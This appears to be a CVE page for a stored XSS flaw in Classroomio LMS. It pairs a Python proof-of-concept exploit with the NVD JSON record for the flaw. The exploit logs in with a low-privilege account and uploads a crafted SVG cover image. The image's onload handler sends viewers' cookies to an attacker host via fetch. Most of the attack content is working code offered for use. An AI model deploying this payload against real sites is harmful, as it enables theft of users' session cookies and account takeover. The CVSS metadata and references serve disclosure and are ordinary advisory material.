CVE-2025-65676

import requests import base64 # CVE-2025-65676 PoC - Stored XSS via SVG cover image in Classroomio LMS # Target: Classroomio LMS <= 0.1.13 # Attack Type: Stored Cross-Site Scripting (XSS) TARGET_URL = "http://target.com" # Replace with actual target URL LOGIN_URL = f"{TARGET_URL}/api/auth/login" UPLOAD_URL = f"{TARGET_URL}/api/courses/upload-cover" # Malicious SVG payload with XSS XSS_PAYLOAD = '''<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?c='+document.cookie)"> <script>console.log('XSS Triggered')</script> </svg>''' def login(username, password): """Authenticate and get session cookie""" session = requests.Session() response = session.post(LOGIN_URL, json={ "email": username, "password": password }) if response.status_code == 200: return session return None def exploit(session): """Upload malicious SVG as course cover image""" files = { 'file': ('course_cover.svg', XSS_PAYLOAD.encode(), 'image/svg+xml') } response = session.post(UPLOAD_URL, files=files) return response if __name__ == "__main__": # Step 1: Login with low-privilege account session = login("[email protected]", "password123") if session: # Step 2: Upload malicious SVG file result = exploit(session) print(f"Upload Status: {result.status_code}") print("Malicious SVG uploaded. XSS will trigger when users view the course.")

{"cve": {"id": "CVE-2025-65676", "sourceIdentifier": "[email protected]", "published": "2025-11-26T19:15:48.473", "lastModified": "2025-12-03T20:50:46.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored Cross site scripting (XSS) vulnerability in Classroomio LMS 0.1.13 allows authenticated attackers to execute arbitrary code via crafted SVG cover images."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:classroomio:classroomio:0.1.13:*:*:*:*:*:*:*", "matchCriteriaId": "7C6D9D0E-58A9-4468-90E2-3717E4632BF0"}]}]}], "references": [{"url": "http://classroomio.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Rivek619/CVE-2025-65676", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/classroomio/classroomio", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Rivek619/CVE-2025-65676", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}